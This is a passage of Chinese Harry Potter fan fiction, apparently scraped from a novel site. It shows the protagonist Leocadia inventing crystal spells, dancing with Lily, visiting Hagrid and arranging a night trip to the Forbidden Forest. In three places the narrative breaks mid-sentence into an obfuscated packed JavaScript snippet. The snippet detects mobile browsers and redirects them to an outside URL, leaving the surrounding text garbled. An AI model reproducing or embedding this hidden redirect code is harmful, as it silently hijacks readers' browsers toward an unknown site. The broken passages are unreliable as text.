没想到,炼金阵连在她撤回魔力的瞬间消失不见,水球也轰然落地,显得邓布利多的动作有点呆。 “原来如此,好像我构建出来的炼金阵只听我的。如果是阿不思你构建的炼金阵,说不定我也不能接管。” 莱奥卡蒂亚仗着校袍是黑的还不用自己洗,一屁股坐在厚厚的草地上。 连续构造两个魔咒炼金阵让她有点脱力,现在是一滴魔力都没有了,只能毫无形象地仰头喘气。 邓布利多和弗利维讨论几句,举起魔杖开始尝试。 短短两分钟内,邓布利多就已经刻录并转化了一个荧光闪烁(Lumos)炼金阵。 以他的魔力总量来说,照亮一整个禁林是轻轻松松的小事。 但他无意做半夜扰民的无良老头,因此只是在炼金阵释放出篮球大小的光芒后就撤回了魔力。 弗利维对炼金术的研究比不上邓布利多,但也在五分钟内掌握了快速构建基础炼金阵的方法。 他想尝试的咒语是速速变大(Enio),但试验了许多次都没能成功。 “这是什么原因?”弗利维看向邓布利多,“我能感觉到,炼金阵在排斥这个咒语。” 莱奥卡蒂亚坐在地上,吃着给邓布利多准备的那份意面,歪头沉思,沉思失败,看向邓布利多。 现在压力给到了邓布利多身上。 好在邓布利多不愧是邓布利多,只是几秒钟就找到了问题所在:“也许是这样的,莱奥用的清水如泉和我用的荧光闪烁本质上都是四元素呈现。而速速变大,我想不出来有哪个元素会响应它。” 莱奥卡蒂亚反应了一会儿,猛猛点头:“对对对!是这样!” 她放下盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483028|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子跳起来,从弗利维手里抢过自己破破烂烂的笔记本哗哗翻页,翻到比较靠前的一页:“这里,我去年学这个咒语时发现速速变大是一个没有元素亲和力的魔咒!或者说它是可以作用于所有元素类型的魔咒!” 她指着装意面的盘子:“比如它可以放大那个盘子,也可以放大地上的石头,还可以放大一个人。也就是说,它不需要炼金阵再次增强效果,我想如果是阿不思全力使用这个魔咒,说不定能把沙砾变得和珠穆朗玛峰一样大!” 邓布利多感动又无奈:“谢谢你的认可,但我们不需要第二座珠穆朗玛峰。换成魔法豆荚的话倒是可以,我想看看天上到底有没有巨人。” “……收起你的麻瓜冷幽默,阿不思,地上的巨人已经够多了。”弗利维叉腰,“莱奥,我认为这个魔咒炼金阵应该换个名字,用是‘炼金阵’‘炼金阵’这么叫,我会觉得自己是炼金术教授。” 莱奥卡蒂亚又把笔记本翻回最新的一页:“事实上我已经想好了。” 乱糟糟的笔迹和划痕可以看出书写者的心不在焉,很像是一边跟人聊天一边写的,偶尔还出现另一个人的笔迹。 弗利维认出那是潘多拉·齐瑟的笔迹,那个小姑娘的字迹就是这种斜斜飞舞的奇异形状。 “很没创意,但很好记。”莱奥卡蒂亚耸肩,“Leocadia''s Magic and Alchemy Formation(莱奥卡蒂亚的魔法和炼金阵),简略一点就是Magic Formation(魔法阵)。缩写是MAF,再加上我教名的最后两个字母,就是MAF.IA。” 莱奥卡蒂亚对这个名字相当满意。 魔法界当然也要有自己的MAF.IA! 邓布利多失笑:“唔,很棒的创意,不过我认为‘魔法阵’就很好。” 莱奥卡蒂亚鄙夷他的审美:“你随意,但我要叫它MAF.IA。等我再试着弄几个其他魔法阵出来,最后分个类,我就能单独开创一门学派了。” 开宗立派第一人! 好耶! 弗利维眼巴巴地嘟哝:“就不能直接归为魔咒学下的分支吗?” 莱奥卡蒂亚严词拒绝,双手划叉:“不行,我有预感,法阵魔法会成为一个重要的魔法类别!我要让我的名字在人类史上留下浓墨重彩的一笔!” 这么有信心的孩子哪个老师不喜欢? 邓布利多和弗利维轮流摸摸她的头(弗利维摸的时候莱奥卡蒂亚主动蹲下了),以示期许。 在返回城堡的路上,邓布利多提出一个小要求:“莱奥,我希望你不要把魔法阵的存在说出去。起码现在不行。如果有新的发现,第一时间告诉我,或者菲利乌斯。” 莱奥卡蒂亚爽快答应:“Aye, aye, captain!(好的,船长!)” “不问我为什么?我以为你会想让朋友们尽快学到新的知识。”邓布利多知道她对自己的小伙伴很好,有好东西一定会分享。 莱奥卡蒂亚伸了个懒腰:“只有傻子才会把核.弹.按钮交给小孩子,阿不思。我只是喜欢分享,但不是傻子。” “你很通透,莱奥,你的祖父把你教得很好。”邓布利多叹息。 莱奥卡蒂亚得意哼哼。 邓布利多和弗利维把她送回拉文克劳休息室的门口,才结伴离开——莱奥卡蒂亚有理由怀疑他们会背着她偷偷研究自己的课题。 不过这也是没办法的事,她的知识储备毕竟比不上老师们长年累月的积累。 而且抄作业也挺爽的,让我抄抄~ 莱奥卡蒂亚哼着歌回到宿舍,潘多拉还没睡,正点着蜡烛躺在床上写写画画。 莱奥卡蒂亚和她打了个招呼,飞快洗漱好,蹿进被窝里打了个滚,强撑着问:“潘多拉,明天早上你要跟我一起去有求必应屋吗?” 魔法阵不能教给朋友们没关系,她还有另一个好玩的咒语可以教。 潘多拉头也不抬:“当然,我还有几个问题想问你呢。” “那就说好啦。” 莱奥卡蒂亚几乎是在下一秒就进入了梦乡。 潘多拉看看时间,十分钟以后也熄灭蜡烛睡觉。 36.结晶魔法 第二天,也就是星期六一大早,在有求必应屋面前和两个拉文克劳碰头的莉莉跟斯内普相当惊讶。 “你们的黑眼圈呢?”莉莉端详着莱奥卡蒂亚闪闪发亮的脸,“我竟然有点不习惯你们没有黑眼圈的形象了。” “因为我昨天十一点就睡了!”莱奥卡蒂亚洋洋得意,在“巨怪棒打傻巴拿巴”挂毯下走三遍,对面的墙上就出现一扇门,“来,今天给你们演示一点好看的。” 门后是宽敞的圆形房间,他们昨天下午留在这里的东西还摆在原位。 莱奥卡蒂亚把挎包扔在桌子上,发出重重的“咚”的一声。 斯内普听得牙疼:“你这是装了多少东西在里面?” “没多少啊,就两本书。” 莱奥卡蒂亚走到一片空旷的场地,左手向前平摊,右手挥魔杖:“看这个,Crystalare(水晶凝结)” 透明的水晶晶簇在她掌心极速生长,凝结成一朵透明的百合花。 “这就是我研究的新东西,一个自创魔咒。”莱奥卡蒂亚把水晶百合花放在莉莉手里,相当臭屁地高举魔杖,摆了个poss。 莉莉和潘多拉一下子围了上来,争相询问念咒的要点。 斯内普尝试两次,几乎是立刻学会了这个咒语,他挑衅地凝结出一条水晶小蛇,还用变形术把它变成墨绿色的。 “哼,你别得意。”莱奥卡蒂亚不屑一顾,“这只是初级的结晶咒,高级的我还没演示呢。” 斯内普才不管她的不屑:“那你倒是演示啊。” 莱奥卡蒂亚鼓起脸,杖尖上竖:“Crystalare Geculeswing(流光流舞)!” 数十个水晶块从她的周身盘旋而上,绕着房间转动,折射着幻彩的光线,光斑散落在墙面和地面,漂亮得让人心惊。 斯内普瞬间给出解析:“水晶凝结加复制成双,再加漂浮咒。到我了。” 他想象着想要达到的效果,再次举一反三:“Crystalare……Clast Crystalare!” 斯内普杖尖凝结的晶簇瞬间爆开,碎片四射,莱奥卡蒂亚手疾眼快的放了两个盔甲护身挡在姑娘们面前。 铛铛铛—— 水晶碎片一部分打在魔咒上,一部分深深嵌进墙壁和地板。 “西弗!”莉莉好一会儿才反应过来,愤怒大叫,“这也太危险了!你吓到我和潘多拉了!” 潘多拉倒是不怎么害怕,还挺镇定地从地面上拔起一枚碎片仔细观察。 斯内普似乎没想到这个魔咒威力这么大,握紧魔杖后退一步,脸上写满了震惊和后怕。 “Clast,calor(热)加blast(爆炸),天才的想法!”莱奥卡蒂亚两眼放光,“哦哦哦,我又想到一个变形——嗷!” 莉莉气疯了,扑过来拧莱奥卡蒂亚的手臂:“你还夸他?!” 斯内普看着莱奥卡蒂亚狰狞皱成一团的五官,再次默默后退一步。 “你躲什么?站那别动!”莉莉大步走过来,狠狠拍打他两下,“快跟我和潘多拉道歉!” “哦,对不起。”斯内普垂下头,语气冷硬干巴,好似放了一个月的法棍。 这样微末的诚意不足以打动莉莉,她看起来更生气了。 “好啦好啦,莉莉,你力气没我大,我来帮你。”莱奥卡蒂亚卷着袖子冲过来,脸上的兴奋藏都藏不住,“Rictusempra(咧嘴呼啦啦)!” 斯内普被她击中,面色扭曲地大笑起来,又反手一个绊腿咒,试图让莱奥卡蒂亚正面朝下摔个狗吃屎,莱奥卡蒂亚跳起来,灵活躲过。 迅速给自己解咒,斯内普又是一个Everte Statum(空中翻转)打过去,莱奥卡蒂亚的盔甲护身很及时,再甩过来一个速速禁锢,正中斯内普。 “嘻嘻。”莱奥卡蒂亚狗腿地凑在莉莉身边,“来,莉莉,使劲打,别给我面子。” 莉莉默默看她,被这么一插科打诨哪还有气? 只能两人各打五十大板:“不是不让你们用魔咒,但最起码别误伤别人,记住了吗?” 莱奥卡蒂亚猛猛点头:“记住了记住了!莉莉女皇说的都对!” 斯内普在地上躺得平平的,连蛄蛹都做不到。 莉莉和潘多拉相携而去,看起来短时间内是不想跟这俩魔咒狂魔讲话了。 莱奥卡蒂亚把咒语解开,嘻嘻地笑着拽起斯内普:“看到了吗?要这样哄女孩子。” 斯内普看上去就没学会,还出声嘲讽莱奥卡蒂亚老师:“得了吧,你手都被掐肿了。” “嘿,我都没让你被掐,莉莉掐人可疼了。”莱奥卡蒂亚半真半假地抱怨,“好了,咱俩继续?” 斯内普瞥一眼她的手臂,从袖袋里拿出一个拇指大的瓷罐子扔给她。 莱奥卡蒂亚抬手抓住,拧开盖子,里面是浅蓝色的膏体,凑在鼻尖闻闻,有一股浓郁的草药味。 “这什么?” 斯内普板着脸:“清凉消肿的药,还能快速愈合割裂伤和烫伤。材料很贵的,省着点用。” 莱奥卡蒂亚不喜欢对自己用魔咒,更不喜欢喝魔药,但她要练习格斗,偶尔也会受伤,斯内普就花了很长时间改良配方,用了整整半年才做出这种药膏。 莱奥卡蒂亚嫌弃:“我是没钱了吗?怎么才这么点?” 她用小指头轻轻在膏体上转了转,用体温化开薄薄的一层,撸起袖子涂在有向青紫转化迹象的指痕上。 凉凉的药膏几乎是瞬间起了作用,几秒后那一大块红肿就消退了。 斯内普理所当然地说:“这是试用装,就像香水小样一样,正装当然得掏钱买。” 莱奥卡蒂亚倒是对他的经商头脑表达了赞许。 孺子可教也,看来没白陪着艾琳和她逛那么多次商场。 “谢了。”莱奥卡蒂亚先用了一个盔甲护身,又撤销,“来点儿我设想的高级版,Proto-crystalare!(流光护体)” 一层薄薄的水晶结成一层护盾。 “Protego(盔甲护身)?”斯内普抱着手臂打量,“但是看上去太脆了,很容易被打穿。” “你懂什么?这是我故意调整出来的厚度。看,它确实很脆,但消耗的魔力只是盔甲护身的十分之一,用同样多的魔力,我起码可以凝聚出十层水晶。” “而且,脆了才好被击碎嘛。”莱奥卡蒂亚再一挥魔杖,“我在每一层水晶之间都填充了极易被引爆的魔力,你想想,当你击碎这一层水晶,结果引爆了里面的魔力……” “水晶碎片就会被爆炸产生的气流推出去!”斯内普眼睛一亮,“也许你还能在护盾里控制碎片的方向!” “bingo!”莱奥卡蒂亚重重点头,“所以这个咒语又名为‘如果不想被炸成刺猬,就最好别碰我’,很酷,比梅林的□□镜还酷。” 把桌子搬到角落的莉莉和潘多拉一边写作业一边聊天:“你知道吗?今天早上波特和布莱克不知道被什么东西咬了,整张脸都肿了起来!” “哦,他们?真的吗?” 那可真是件好事。 潘多拉在抄莱奥卡蒂亚的魔法史论文,虽然她不太在意其他人,但她对这两个格兰芬多男生还是有印象的。 每次见到莱奥就要过来挑衅的那两个嘛。 虽然潘多拉没有被波及,但是莱奥卡蒂亚总得花费时间和精力在他们俩身上,这大大缩短了她们俩的思维风暴时间。 这种浪费别人时间的家伙算得上拉文克劳的阶.级.敌人。 莉莉叹气:“唉,希望他们别老是来挑衅莱奥和西弗。莱奥有分寸,我就怕西弗一个没忍住朝他们用强力咒语,我可不想看着西弗被退学。” 潘多拉觉得她的担心有点多余:“没关系,西弗勒斯有莱奥管着呢。” 莉莉看向互相飞魔咒的两个人,更愁了。 好在莱奥卡蒂亚还是很靠谱的。 “西弗,这个不能对波特和布莱克用哦。”莱奥卡蒂亚懒洋洋地挥挥魔杖,变出一只水晶小兔子,让它在地上蹦蹦跳跳,“邓布利多不会管我们互相扔一些小恶咒,但这个不行,杀伤性太强。我们只是相互看不顺眼,又不是真的敌人。” 斯内普看上去十分不甘心:“可是他们真的很讨厌。” 莱奥卡蒂亚赞同:“确实很讨厌,在意大利从来没人敢这么跟我说话,那些敢当面叫我‘恶魔女’的早就连灰都不剩了。” 随后,她表情一变,很有舞台剧效果地捧心假哭,“独在异乡为异客,吾儿叛逆伤吾心~嘤嘤嘤~” 莱奥卡蒂亚堂堂说出了这种让斯内普一阵恶寒的话。 斯内普觉得“恶魔女”这个外号也算得上实至名归了。 莱奥卡蒂亚演了一句,觉得还是不太过瘾,捏着长袍下摆当裙摆转圈圈: “I could have danced all night(我可以整晚跳舞) And still have begged For more(而且还想继续跳下去) I could have spread my wings(我要展开翅膀飞翔) And done a thousand things I''ve never done before (做各式各样我没有做过的事) I''ll never know What made it so exciting(我不知道什么事让我如此兴奋) Why all at once My heart took flight(突然间我的心像飞了起来) I only know When he began to dance with me (我只知道当他开始与我共舞) I could have danced danced, danced All night (我可以一直跳舞,跳舞,跳舞……整晚跳舞) ” 莉莉“唰”地抬头。 莱奥卡蒂亚隔着大半个房间向她伸手。 “来吧莉莉,跳一段再写作业,劳逸结合嘛。”莱奥卡蒂亚歪头wink,发出恶魔的诱.惑。 在家里她们就经常学着学着跳一段放松。莉莉自觉有被诱.惑到,扔下笔扑过来。莱奥卡蒂亚托住她递过来的手,带着她毫无规律地转圈, “Oh, the towering feeling,(哦,这雀跃的心情) Just to know somehow you are near,(只因知道你居住在这里) I have often walked on this street before,(我过去时常走在这条街上) But the pavement always stayed beneath my feet before,(过去这条路总是如此平稳) All at once am I several stories high,(可突然间,我弹跳起几层楼高) Knowing I''m on the street where you live……(只因知道你居住在这条街上)” 莱奥卡蒂亚的音色很特别,带着微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496614|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的沙哑,压着嗓子唱歌时总是深情又忧郁,能让所有听到的女孩觉得心里痒痒。 莉莉随着她的力道转了个圈,清清嗓子,清脆甜美的童声响彻房间: “And are there lilac trees in the heart of town,(市中心有丁香树吗?) Can you hear a lark in any other part of town,(在城市其他地方能听见百灵鸟的鸣叫吗?) Does enchantment pour out of every door,(每道门都会弥散出诱人的魔力吗?) No it''s just on the street where you live。(不,只有你居住时,这条街才会如此有魅力)”** 潘多拉拖着凳子坐过来,欣赏两个漂亮女孩的情歌对唱环节,丝毫不觉得哪里不对:“这歌真好听,是麻瓜的音乐吗?” 呵,这俩已经把《窈窕淑女》这部电影翻来覆去看过好几遍了,还强行拉着他去听了音乐剧。 斯内普木着脸,言简意赅:“对。” 潘多拉从袖袋里掏出一包比比多味豆拆开,递给他。 斯内普伸手拿了一颗。 ……柠檬味的,啧。 等莉莉唱完一段,莱奥卡蒂亚突然握住她的腰,用力托起—— 莉莉惊呼一声,悬空的不安让她忍不住撑上莱奥卡蒂亚的肩膀,脚尖却在下一秒踩上突然出现的水晶块。 莱奥卡蒂亚哈哈大笑,踏上莉莉踩着的水晶块,抱着莉莉的腰宣布:“来点刺激的吧!” 她猛地拉着莉莉跳出去一大步,在莉莉的尖叫声中,踩上瞬间生成的水晶。 这一块落点是淡红色的。 “再来?” 莱奥卡蒂亚完全没有给莉莉反应的时间,又带着她跳出去。 这次的落点是靛青的水晶块。 其实她们离地不高,最多三十公分,摔了也没关系,旁边围观的斯内普和潘多拉都擅长魔咒,总能让她们毫发无损。 莉莉跳过两次后,渐渐不怕了,还有些跃跃欲试:“我不信你每次都能接住我。” 莱奥卡蒂亚就松开一只手,左手轻轻握住莉莉的右手:“那就试试。接下来你踩的每一块水晶块都是红色的,上面刻着百合花的;而我踩紫色刻狼首的。” 莉莉觉得这样的难度超出了一年级巫师的水平,但她更相信莱奥卡蒂亚绝对不会让她踩空:“那就来吧!” 莱奥卡蒂亚粲然一笑,和莉莉一起跳出去。 斯内普淡定地转头对潘多拉说:“看,莱奥只是在练习魔咒。” 潘多拉点点头:“哦,你没必要解释这一句。所以你也要跟我这么练习吗?” 斯内普:“……如果你愿意的话。” 潘多拉又吃了一颗多味豆:“不要,我怕你摔到我。我更相信莱奥的水平。” 斯内普好生气,但仔细观察过她们踩过的水晶块后,那股气就泄了个一干二净。 莱奥卡蒂亚和莉莉每跳出去一次,她们踩的水晶块形色都如莱奥卡蒂亚所言,没有一点偏差。 而且每次出现的位置都恰到好处,能让两个女孩稳稳当当地踩在上面。 跳到下一块水晶后,原本踩过的水晶就会轻轻炸开,却并不消散,而是在空中轻轻浮动,在她们身后铺就一条螺旋式向上流转的、红紫交加的星河。 毫无疑问,这样出色的魔力控制连一些成年巫师都做不到。 ……哼,但总有一天我也能做到的。 斯内普暗自发誓。 # 医疗翼里,詹姆和西里斯躺在床上,生无可恋地盯着天花板。 “嘿,西里斯,”詹姆拉开一点两张床之间的床幔,“你觉得是谁阴了我们?” 他的脸肿的跟猪头似的,声音也含糊不清,只有一双蓝眼睛能看出他是詹姆·波特。 “这还用问吗,波特先生?”同款猪头脸的西里斯咬牙切齿,“当然是恶魔女啊!昨天莱姆斯就说他看到那个小恶魔路过格兰芬多休息室门口!” 詹姆大惊:“她这是发现我们给她的羽毛笔施恶咒了?” 他们偷摸着给莱奥卡蒂亚的每一支羽毛笔下了咒,写一笔就会发出放屁的声音,还会喷出一股难以消除的恶臭。当然,放着不用就会漏墨。 “百分之百,弗利维教授不是总说她的魔咒水平非常高吗?我们还没有能骗过追踪魔法的本事。”西里斯盯着天花板,“下次我绝对要给她的扫帚施恶咒。” “那样斯图尔特教授会先把你扔下扫帚的。”门口传来一个声音,“我给你们带了午饭。” “莱姆斯!快快快,我真的饿死了!”詹姆猛地掀开靠门的床幔,“哦哦哦,我闻到了黄油面包的味道!” 西里斯慢吞吞地坐起来:“谢啦,莱姆斯。” 面容清秀却有些憔悴的莱姆斯·卢平把篮子里的午餐放在小桌板上,两个男孩一边嗷嗷叫唤一边狼吞虎咽。 “那个装模作样的恶魔只敢侧着坐扫帚,哈,她最好别去打魁地奇,不然我三秒钟就能把她从扫帚上打下来。”西里斯艰难咽下一勺土豆泥,“还有鼻涕精,我要让他摔断腿。” “我挺你,兄弟!他们把伊万斯看得太紧了,要不是伊万斯是格兰芬多的,我跟她连一句话都说不上。” 詹姆呜呜咽咽地表达赞同,“当然,如果我进入院队肯定是找球手,我要让拉文克劳和斯莱特林的找球手一个金飞贼都抓不到!” 卢平:“你们还是先把脸上的肿消了再去招惹萨卢佐吧。” 37.星期天·上 美好的周日上午,没课,适合用一杯完美的卡布奇诺开启整日的美好。 在一礼堂抱着南瓜汁痛饮的英国佬中,用Royal Copenhagen的经典丹麦之花套杯喝咖啡的莱奥卡蒂亚多少有些格格不入。* 但意大利人不能没有咖啡,就像西方不能没有耶路撒冷。 潘多拉也捧着一杯,粗陶的马克杯上画着一只奇形怪状的动物,惬意地眯着眼睛:“真的好好喝。好浓郁的坚果香和巧克力香。” 莱奥卡蒂亚热情介绍:“这是Wet Cappuccino(湿卡布奇诺),奶泡少,牛奶多,喝起来咖啡味不是那么浓。豆子用阿拉比卡和罗布斯塔拼配,深烘加中烘,油脂丰厚又不腻,配方来自萨卢佐家的百年探索哦~” 打着呵欠进进礼堂的莉莉被咖啡味勾过来,就着莱奥卡蒂亚的手和杯子喝了一口,咂咂嘴:“虽然作为一个英国人我应该力挺红茶,但我不得不承认,有时候咖啡喝起来更香。” 莱奥卡蒂亚立刻得意起来。 有不少拉文克劳从长桌各个位置飘过来询问她的咖啡是从哪买的。咖啡和茶是拉文克劳们熬夜必备的救命良品,这时候管他产地是哪,好喝就行。 “这款在店里卖得比较贵,加上税费,按照汇率算下来大概5加隆2.2磅?” 莱奥卡蒂亚盘算着要不要在对角巷也开一家咖啡店。开在霍格莫德好像也不错。 那干脆就开两家吧! “好贵啊,但是闻起来真的很香。”米里森有些遗憾,“与其喝水泥一样的次品熬夜,不如喝这样的高品,这样才能更好的熬夜。” 几个高年级的学姐点头附和。 莱奥卡蒂亚挠挠头:“有一款比较便宜,口感也不错,就是我在公共休息室的咖啡机旁放的那一罐,2加隆能买3磅。” 一个学长——莱奥卡蒂亚记得他姓亨特——惊呼:“原来那台咖啡机是萨卢佐你放的?它可真好用,还能选择制作品种。只需要放进咖啡豆就能做出一杯完美的咖啡。” “好用就好。” 那其实是莱奥卡蒂亚的炼金试作品,次品,蒸汽管一直有点小问题,但莱奥卡蒂亚懒得调整。 反正她又不用那台机子,波波随时能给她冲一杯完美的咖啡。 喝完最后一滴咖啡,莱奥卡蒂亚对着杯子用了清理一新,随手塞进挎包。 安布拉从礼堂外飞进来,扔下一封信,站在她肩上梳理羽毛。 莱奥卡蒂亚看一眼署名,撇撇嘴,顺手也把信塞进包里。 今天早上他们要去海格的小屋。 斯内普一开始不是很想去,他一大早就去泡图书馆了,未来的魔药大师表示不想在无聊的事上浪费时间。 “这是我们‘四元素’学习小组第一次户外活动!必须每个人都参加!”莱奥卡蒂亚双手高举过头顶划了个大大的叉,“而且我不在,那个愚蠢的‘劫道者’就会四打一,没武德的家伙们!” 斯内普被她拽着小跑,他是被莱奥卡蒂亚直接从图书馆拉出来的,羽毛笔都还握在手里:“没你我也能打赢他们。” “不行,有福同享,有架同打。” 斯内普为她的逻辑翻了个白眼。 他们穿过南瓜田,莉莉和潘多拉正在帮海格切南瓜。 他今年种了太多南瓜,留下一部分万圣节雕南瓜灯的,剩下的够整个霍格沃茨的学生喝一年的南瓜汁还绰绰有余。 莱奥卡蒂亚把挎包挂在篱笆上,一道四分五裂打过去,足足有半个莉莉高的南瓜就碎成一块块,飞进大桶里。 “海格,我可以拿走一个南瓜吗?”莱奥卡蒂亚蹲在还没处理的南瓜堆前,指着里面一个长得特别标准的南瓜。 “当然可以,”海格很高兴地帮她抱起那个南瓜,放进她撑开的挎包里,“要再拿一个吗?” “不了,我只是觉得它好看。”莱奥卡蒂亚把搭扣重新扣上,又撸起袖子帮海格处理南瓜。 莉莉擦了擦汗:“呼,就算用魔咒也觉得要处理这么多南瓜真的好不容易哦。” “就当是练习吧。”斯内普帮她飘起几个南瓜,“这几个小一点,你可以试着用一个四分五裂把它们全部打碎。” 莉莉颇有紧张感:“这样也可以?我不会打到你吧?” 莱奥卡蒂亚漂浮着一个装满南瓜块大铁桶路过:“放心吧莉莉,你的咒语还打不破西弗的盔甲护身。” 莉莉撇嘴:“好吧。” 他们练习的时候,莱奥卡蒂亚找到了新的事做。 她和潘多拉在小屋后面的山坡上一阵捣鼓,搭起了一个大到能让海格用的秋千。 海格感动极了,眼泪汪汪地抱起两个对他来说和洋娃娃一样的小姑娘,一起坐上秋千,用力一蹬,三个人呼啸着飞了出去。 “啊啊啊啊啊啊啊啊!海格!你要抓紧绳子啊啊啊啊!!!” 莱奥卡蒂亚赶忙一人一个漂浮术,不然他们就会在五秒后砸穿海格的房顶。 海格讪笑:“啊哈哈,咳,这不是很多年没玩过秋千了嘛……对不起。” 莱奥卡蒂亚决定原谅他。 因为她还有事相求。 “护法树的叶片和树枝?这个当然没问题,只要跟护树罗锅们好好谈谈,再给它们一些土鳖或者仙子卵,换一些树枝是很轻松的。”海格挠挠头,“你对护法树的树龄有要求吗?一般来说树龄越大,树枝的品质就越好。” 莱奥卡蒂亚犹豫:“唔,我只是想练练手,但如果可以的话,树龄越大的越好。” “哦,没关系,那就每个年份的我都帮你收集一些。”海格用他蒲扇大的手轻轻拍拍莱奥卡蒂亚的后背,让她们俩进屋坐,“想来点岩皮饼吗?我今天做了不少。” “那是什么?饼干吗?”潘多拉还是第一次来海格这里,对屋子里一切都很好奇。 “对,是我的独家秘方。”海格从壁炉上拿来盘子,放在她们面前,“不用客气,慢慢吃。” “好耶,我一会儿要带走一些,正好用来磨牙!我最近总是半夜磨牙,潘多拉抱怨过好多次了。” 莱奥卡蒂亚相当自然的连吃带拿,还贴心地告诉潘多拉食用方法:“不要用力咬,要用牙齿一点点地磨,小麦粉的味道很香的。哦对了海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513472|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格,下次你可以试试加点葡萄干进去。” “好主意,下次我试试。”海格坐在她们旁边,搓着手掌,看起来很高兴,“除了你,也就莱姆斯喜欢吃这个。” 莱奥卡蒂亚呆了呆:“跟波特和布莱克玩的那个?那个莱姆斯·卢平?等等,这么说他们四个也会来找你玩??” 海格点头:“对啊,跟你同一届的格兰芬多。” “啧,”莱奥卡蒂亚嫌弃地咂舌,“怎么哪哪都有他们?海格!我跟你是天下第一好朋友,你不可以喜欢他们更多!” 海格嘟哝:“可是他们是格兰芬多……格兰芬多没有坏人。” “他们就是!”莱奥卡蒂亚斩钉截铁道,“他们总是欺负我和西弗,叫我‘恶魔女’叫西弗‘鼻涕精’!他们还想抢走莉莉!” 海格看上去不以为意:“你们这些小毛毛之间的小摩擦是很正常的。也许你能找找他们身上好的一面?” 潘多拉语气幽然开口:“你是说他们故意弄炸西弗勒斯的坩埚、把西弗勒斯从扫帚上撞下去、在草药课上吓哭赫奇帕奇的女生、给每个拉文克劳取绰号……这样的人身上有好的一面?” 莱奥卡蒂亚的语气也一样幽森:“他们还给我的羽毛笔下恶咒,在课堂上不尊重教授。海格我真的搞不明白,他们在你面前是不是只说别的学院学生们的坏话。” 莱奥卡蒂亚的语气是肯定的,海格是支支吾吾、字不成句的,看来确实是这样的。 “算了,如果你想跟他们做朋友也行,但我绝对不会在他们在这儿的时候来找你。”莱奥卡蒂亚用岩皮饼磨牙,语气平和,看起来只是在陈述事实。 海格有点伤心,看不到喜欢的两批小毛毛们同框就像看不到独角兽幼崽玩耍一样让他悲伤,但似乎也不能勉强他们握手言和。 莉莉欢呼着冲进来:“我成功了!” 斯内普缀在后面:“只是一次能打五个南瓜罢了。” 莉莉才不理泼冷水的斯内普,挤到莱奥卡蒂亚和潘多拉中间:“为了庆祝,我申请今天好好玩一天!” 莱奥卡蒂亚打趣:“不学习了?” 莉莉愁眉苦脸:“知识是学不完的,跟你们三个不一样,我需要放松时间。” 莱奥卡蒂亚耸肩:“好吧好吧。” 于是他们在海格小屋的周围玩了一整天,直到晚饭时才回城堡。 斯内普随便拿了两个面包就回了休息室洗澡。 下午他跟莱奥卡蒂亚练习格斗,滚了一身泥。从浴室出来,微湿的发尾贴在脸上,衬得他本就偏白的皮肤更加苍白。 床上多了个包裹。 他的室友是亚德里安。本来是另一个新生,但亚德里安做了交涉,所以两人住进了同一个寝室。 别说,在感受过斯莱特林现在的氛围后,斯内普宁愿和亚德里安住同一间寝室。 亚德里安不在床上,估计是在公共休息室。斯内普拿起包裹拆开,里面是一件裁剪有型的斗篷。 一张卡片从包装里掉出来,是莱奥卡蒂亚的字迹。 “隐形斗篷,晚上十一点,海格小屋外,秘林走起。” 38.星期天·下 斯内普一惊,连忙看了一眼怀表,已经十点四十五了,手忙脚乱地换上衣服,穿上隐形斗篷就走。 等他气喘吁吁地赶到海格的小屋外时,三个姑娘们已经在草丛里蹲了许久。 莱奥卡蒂亚腿都麻了。 她靠在莉莉肩膀上,痛苦地踢踢腿,小声谴责:“下次谁不准时谁就别参加集体活动了!” 斯内普心虚:“咳。所以我们要去禁林夜游?” 莉莉快乐点头,她身上就披着莱奥卡蒂亚送的隐形斗篷,只有一颗头露在空气里,显得无比诡异:“莱奥说她在斗篷的编织设计图里加入了数百个组合魔文,效果比一般的隐形斗篷好。” “还要谢谢纽特,要不是他有养隐形兽我还凑不出这么多隐形兽的毛呢。”莱奥卡蒂亚也披上斗篷,还帮潘多拉整理一下帽子,“斗篷扣我是用橡木做的,刻上了增强属性的魔文,所以那些神奇动物会把我们当做一棵树。” 这是他们开学前就说好的夜游必备品,莱奥卡蒂亚出设计,斯内普出钱买隐形兽毛,莉莉负责跟纽特学习纺线和编织成品。 算下来这笔买卖很划算,毕竟一件隐形斗篷可不便宜呢。 除此之外,莱奥卡蒂亚的设计费也是必不可少的,斯内普需要付出七年的魔药学指导以及魔咒陪练,莉莉要帮莱奥卡蒂亚处理七年的炼金材料。 